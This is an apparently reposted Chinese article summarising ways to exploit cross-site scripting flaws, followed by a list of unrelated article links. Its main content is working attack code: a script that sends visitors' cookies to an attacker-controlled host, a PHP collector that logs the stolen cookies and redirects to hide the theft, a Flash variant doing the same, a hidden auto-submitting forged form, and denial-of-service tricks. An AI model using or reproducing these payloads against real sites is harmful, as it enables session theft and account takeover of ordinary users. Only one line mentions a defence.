跨站脚本漏洞的利用
来源:互联网 发布:佳能dpp for mac 编辑:程序博客网 时间:2024/05/17 06:36
所谓跨站脚本漏洞,小弟认为是指用户能够在网页上添加任意HTML代码并使其被浏览器执行的漏洞。小弟认为此漏洞跟跨站脚本没有必然联系,只不过此漏洞的通常利用方法都要结合另一站点(通常是可以自己控制的)上的脚本才能完成,故得名。
本文仅收集X档案曾刊登的对此漏洞的利用方法,权当小结,并未进行创新。希望能抛砖引玉,众大虾发现有什么错漏请指正和补充。
一、攻击代码
1、偷取cookie的代码:
<script>window.open("http://www.yoursite.com/recordcookie.php?"+document.cookie)</script>
注:
(1) http://www.yoursite.com/recordcookie.php是可以自己控制的脚本,功能是要从页面参数中获得并保存信息(对于本例的“信息”就是cookie)
(2) 一个recordcookie.php样本:
<?php
$info = getenv("QUERY_STRING");
if ($info) {
$fp = fopen("info.txt","a");
fwrite($fp,$info."/n");
fclose($fp);
}
header("Location: http://www.originalsite.com");
?>
最后一句转回原来的站点使增加隐蔽性
(3) 如把脚本中的“window.open”替换为“location = ”,则不会打开新窗口,但变成凡进入显示包含该<script>脚本的页面都会跳转到你的recordcookie.php。如果你的recordcookie.php最后一句跳转回的地址又包含该<script>脚本,则可能会出现死循环。
2、拒绝服务(DoS)攻击
(1) 攻击浏览用户:写入死循环脚本,使用户浏览器死循环
(2) 攻击其它服务器:在漏洞站写入访问目标服务器的脚本,当有大量用户浏览漏洞站时,就会耗尽目标服务器的脚本。
注:不知道把目标服务器设定为漏洞站时会有什么后果。
3、伪造表单并使自动提交
先写入伪造的表单,并在后面加上如下代码使其自动提交:
<script>this.document.forms[0].submit()</script>
注:
(1) 由于提交表单会使页面跳转,所以最好把伪造的表单和那段<script>防于一个0高0宽的框架中。
(2) 由于伪造的表单无法获得并输入验证码,所以采用验证码可预防此漏洞。
二、漏洞所在
1、动态网页程序没有对输入数据过滤HTML标签,则直接在输入数据中嵌入攻击代码。
2、早年IE存在img标签漏洞,如果img标签中的src指向一个文本文件,这个文本文件会被视为HTML而被IE执行。对于允许上传图片,或能使页面出现可控的img标签(例如论坛中有时支持诸如的标签以允许贴图),则可利用此漏洞。使受控的img标签的src属性指向一个自己做的“图片”,当然这个“图片”其实是文本文件,其中是攻击代码。例如在论坛中发一个帖子,内容是,然后用记事本写一段攻击代码,并另存为css.gif(注意扩展名是gif),上传到yoursite.com上,浏览这个帖子的人就会中招。但是打了补丁的IE恐怕不会受此影响。
3、利用flash,只要能在页面中嵌入可控的flash,然后利用flash的getURL函数。例如在论坛发个帖子,内容是[flash]http://www.yoursite.com/css.swf[/flash],然后做一个flash,动作中要加上“getURL("javascript:攻击代码");”,例如获取cookie的代码是getURL("javascript:window.open('http://www.yoursite.com/recordcookie.php?'+document.cookie)");,保存并上传到www.yoursite.com/css.swf,当然recordcookie.php也要准备好才能工作。
- 跨站脚本漏洞的利用
- 跨站脚本执行漏洞利用技巧两则
- 跨站脚本攻击深入解析之:漏洞利用过程
- phpinfo跨站脚本漏洞
- 淘宝跨站脚本漏洞
- 跨站脚本编制漏洞
- Struts1.x 跨站脚本(XSS)漏洞的解决
- 【安全牛学习笔记】手动漏洞挖掘-SQL注入XSS-简介、跨站脚本检测和常见的攻击利用手段
- zabbix漏洞的利用
- 漏洞利用的细节
- 跨站脚本执行漏洞详解
- Z-blog跨站脚本攻击漏洞
- 跨站脚本执行漏洞详解
- Z-blog跨站脚本攻击漏洞
- 跨站脚本执行漏洞详解
- 360 跨站脚本攻击漏洞
- 跨站脚本攻击漏洞(XSS)
- XSS(跨站脚本攻击)漏洞解决方案
- PhysX入门教程(全)
- 总结入侵网站的手法
- informix数据库系统表用法介绍
- 写出float x 与“零值”比较的if语句——一道面试题分析
- linux下面 磁盘管理 学习心得
- 跨站脚本漏洞的利用
- magento 添加css js
- Data::Dumper Module
- Tomcat设置虚拟目录的方法, 不修改server.xml
- 人际关系搜索引擎及实现原理
- Window下删除.svn文件最简易的方法。
- 输入法编程的一些相关资料
- 类中如何引用server.MapPath()
- asp.net的MIS系统